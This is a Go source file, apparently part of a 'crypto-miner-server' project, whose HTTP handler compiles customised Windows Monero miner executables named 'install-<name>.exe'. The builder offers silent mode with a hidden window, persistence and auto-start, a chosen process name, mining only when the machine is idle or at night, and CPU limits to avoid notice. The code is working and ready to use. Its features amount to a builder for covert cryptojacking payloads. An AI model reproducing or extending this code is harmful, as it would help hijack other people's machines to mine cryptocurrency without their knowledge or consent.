package builder

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"github.com/go-chi/chi/v5"
	"github.com/google/uuid"
	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
)

type BuildRequest struct {
	WorkerName          string `json:"worker_name"`
	ServerURL           string `json:"server_url"`
	Wallet              string `json:"wallet"`
	Threads             int    `json:"threads"`
	ThreadMode          string `json:"thread_mode"`
	ThreadPercent       int    `json:"thread_percent"`
	CPUPriority         string `json:"cpu_priority"`
	MiningMode          string `json:"mining_mode"`
	DisplayMode         string `json:"display_mode"`
	SilentMode          bool   `json:"silent_mode"`
	RunAs               string `json:"run_as"`
	AutoStart           bool   `json:"auto_start"`
	Persistence         bool   `json:"persistence"`
	ProcessName         string `json:"process_name"`
	MaxCPUUsagePct      int    `json:"max_cpu_usage_pct"`
	MaxMemoryPct        int    `json:"max_memory_percent"`
	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
	IdleThresholdPct    int    `json:"idle_threshold_pct"`
	IdleDurationMinutes int    `json:"idle_duration_minutes"`
	ScheduleStart       string `json:"schedule_start"`
	ScheduleEnd         string `json:"schedule_end"`
	PoolHost            string `json:"pool_host"`
	PoolPort            int    `json:"pool_port"`
	PoolTLS             bool   `json:"pool_tls"`
	PoolPass            string `json:"pool_pass"`
}

type BuildResponse struct {
	Success      bool   `json:"success"`
	BuildID      string `json:"build_id,omitempty"`
	FileName     string `json:"file_name,omitempty"`
	FilePath     string `json:"file_path,omitempty"`
	RelativePath string `json:"relative_path,omitempty"`
	FileSize     int64  `json:"file_size,omitempty"`
	DownloadURL  string `json:"download_url,omitempty"`
	Error        string `json:"error,omitempty"`
}

type Handler struct {
	db          *db.Database
	dataDir     string
	agentSrcDir string
	projectRoot string
	goBinPath   string
}

func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
	goBin := "go"
	if _, err := exec.LookPath("go"); err == nil {
		goBin = "go"
	}
	return &Handler{
		db:          database,
		dataDir:     dataDir,
		agentSrcDir: agentSrcDir,
		projectRoot: projectRoot,
		goBinPath:   goBin,
	}
}

func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	var req BuildRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
		return
	}

	if err := h.normalizeRequest(&req); err != nil {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
		return
	}

	resp, status, outputPath := h.buildAgent(&req)
	if !resp.Success {
		writeJSON(w, status, resp)
		return
	}

	if r.URL.Query().Get("download") == "1" {
		w.Header().Set("Content-Type", "application/octet-stream")
		w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
		http.ServeFile(w, r, outputPath)
		return
	}

	writeJSON(w, http.StatusOK, resp)
}

func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	build, err := h.db.GetBuild(buildID)
	if err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	if _, err := os.Stat(build.FilePath); err != nil {
		http.Error(w, "Build file missing", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
	http.ServeFile(w, r, build.FilePath)
}

func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
	buildID := uuid.New().String()
	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
	agentDir := filepath.Join(buildDir, "agent")

	if err := os.MkdirAll(agentDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
	}

	if err := h.copyAgentSource(agentDir); err != nil {
		log.Printf("Failed to copy agent source: %v", err)
		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
	}

	configDir := filepath.Join(agentDir, "config")
	if err := os.MkdirAll(configDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
	}
	if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
		return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
	}

	outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
	outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))

	ldflags := "-s -w"
	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
		ldflags += " -H windowsgui"
	}

	cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
	cmd.Dir = agentDir
	cmd.Env = append(os.Environ(),
		"GOOS=windows",
		"GOARCH=amd64",
		"CGO_ENABLED=0",
	)

	output, err := cmd.CombinedOutput()
	if err != nil {
		log.Printf("Build failed: %v\nOutput: %s", err, string(output))
		return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
	}

	fileInfo, err := os.Stat(outputPath)
	if err != nil {
		return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
	}

	absPath, _ := filepath.Abs(outputPath)
	relPath, _ := filepath.Rel(h.projectRoot, absPath)
	if relPath == "" || strings.HasPrefix(relPath, "..") {
		relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
	}

	buildRecord := &models.BuildRecord{
		ID:         buildID,
		WorkerName: req.WorkerName,
		ServerURL:  req.ServerURL,
		Wallet:     req.Wallet,
		Threads:    req.Threads,
		FileSize:   fileInfo.Size(),
		FilePath:   absPath,
		CreatedAt:  time.Now(),
		PoolHost:   req.PoolHost,
		PoolPort:   req.PoolPort,
		PoolTLS:    req.PoolTLS,
		PoolPass:   req.PoolPass,
	}
	if err := h.db.InsertBuild(buildRecord); err != nil {
		log.Printf("Failed to record build: %v", err)
	}

	return BuildResponse{
		Success:      true,
		BuildID:      buildID,
		FileName:     outputName,
		FilePath:     absPath,
		RelativePath: relPath,
		FileSize:     fileInfo.Size(),
		DownloadURL:  fmt.Sprintf("/api/v1/builds/%s/download", buildID),
	}, http.StatusOK, outputPath
}

func (h *Handler) normalizeRequest(req *BuildRequest) error {
	if req.WorkerName == "" {
		return fmt.Errorf("worker_name is required")
	}
	if req.ServerURL == "" {
		return fmt.Errorf("server_url is required")
	}
	if req.Wallet == "" {
		return fmt.Errorf("wallet is required")
	}
	if req.Threads <= 0 {
		req.Threads = 4
	}
	if req.ThreadMode == "" {
		req.ThreadMode = "percent"
	}
	if req.ThreadPercent <= 0 {
		req.ThreadPercent = 75
	}
	if req.ThreadPercent > 100 {
		req.ThreadPercent = 100
	}
	if req.DisplayMode == "" {
		if req.SilentMode {
			req.DisplayMode = "silent"
		} else {
			req.DisplayMode = "background"
		}
	}
	if req.Persistence {
		req.AutoStart = true
	}
	if req.ProcessName == "" {
		req.ProcessName = sanitizeFileName(req.WorkerName)
	}
	if req.MaxMemoryPct <= 0 {
		req.MaxMemoryPct = 70
	}
	if req.CPUPriority == "" {
		req.CPUPriority = "below_normal"
	}
	if req.MiningMode == "" {
		req.MiningMode = "always"
	}
	if req.RunAs == "" {
		req.RunAs = "user"
	}
	if req.MaxCPUUsagePct <= 0 {
		req.MaxCPUUsagePct = 80
	}
	if req.MinFreeRAMMB <= 0 {
		req.MinFreeRAMMB = 1024
	}
	if req.IdleThresholdPct <= 0 {
		req.IdleThresholdPct = 20
	}
	if req.IdleDurationMinutes <= 0 {
		req.IdleDurationMinutes = 5
	}
	if req.ScheduleStart == "" {
		req.ScheduleStart = "21:00"
	}
	if req.ScheduleEnd == "" {
		req.ScheduleEnd = "06:00"
	}
	if req.PoolHost == "" {
		req.PoolHost = "pool.supportxmr.com"
	}
	if req.PoolPort <= 0 {
		req.PoolPort = 3333
	}
	if req.PoolPass == "" {
		req.PoolPass = "x"
	}
	return nil
}

func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
	return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s

package config

import "time"

func GetBuiltinConfig() BuiltinConfig {
	return BuiltinConfig{
		WorkerName:  %q,
		ServerURL:   %q,
		Wallet:      %q,
		Threads:     %d,
		ThreadMode:  %q,
		ThreadPercent: %d,
		CPUPriority: %q,
		MiningMode:  %q,
		DisplayMode: %q,
		SilentMode:  %v,
		RunAs:       %q,
		AutoStart:   %v,
		ProcessName: %q,
		BuildID:     %q,
		BuiltAt:     time.Unix(%d, 0),
		PoolHost:    %q,
		PoolPort:    %d,
		PoolTLS:     %v,
		PoolPass:    %q,
		MaxCPUUsage: %d,
		MaxMemoryPct: %d,
		MinFreeRAM:  %d,
		IdleThresholdPct:    %d,
		IdleDurationMinutes: %d,
		ScheduleStart:       %q,
		ScheduleEnd:         %q,
	}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
		req.WorkerName,
		req.ServerURL,
		req.Wallet,
		req.Threads,
		req.ThreadMode,
		req.ThreadPercent,
		req.CPUPriority,
		req.MiningMode,
		req.DisplayMode,
		req.SilentMode,
		req.RunAs,
		req.AutoStart,
		req.ProcessName,
		buildID,
		time.Now().Unix(),
		req.PoolHost,
		req.PoolPort,
		req.PoolTLS,
		req.PoolPass,
		req.MaxCPUUsagePct,
		req.MaxMemoryPct,
		req.MinFreeRAMMB,
		req.IdleThresholdPct,
		req.IdleDurationMinutes,
		req.ScheduleStart,
		req.ScheduleEnd,
	)
}

func (h *Handler) copyAgentSource(destDir string) error {
	srcDir := h.agentSrcDir
	return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		relPath, err := filepath.Rel(srcDir, path)
		if err != nil {
			return err
		}
		if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
			return nil
		}
		destPath := filepath.Join(destDir, relPath)
		if info.IsDir() {
			return os.MkdirAll(destPath, 0755)
		}
		if info.Mode()&os.ModeSymlink != 0 {
			return nil
		}
		ext := filepath.Ext(path)
		base := filepath.Base(path)
		if ext != ".go" && base != "go.mod" && base != "go.sum" {
			return nil
		}
		return copyFile(path, destPath)
	})
}

func copyFile(src, dest string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()
	if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
		return err
	}
	out, err := os.Create(dest)
	if err != nil {
		return err
	}
	defer out.Close()
	_, err = io.Copy(out, in)
	return err
}

func sanitizeFileName(name string) string {
	replacer := strings.NewReplacer(
		" ", "-", "/", "-", "\\", "-", ":", "-",
		"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
	)
	return replacer.Replace(name)
}

func writeJSON(w http.ResponseWriter, status int, v interface{}) {
	w.Header().Set("Content-Type", "application/json")
	w.WriteHeader(status)
	json.NewEncoder(w).Encode(v)
}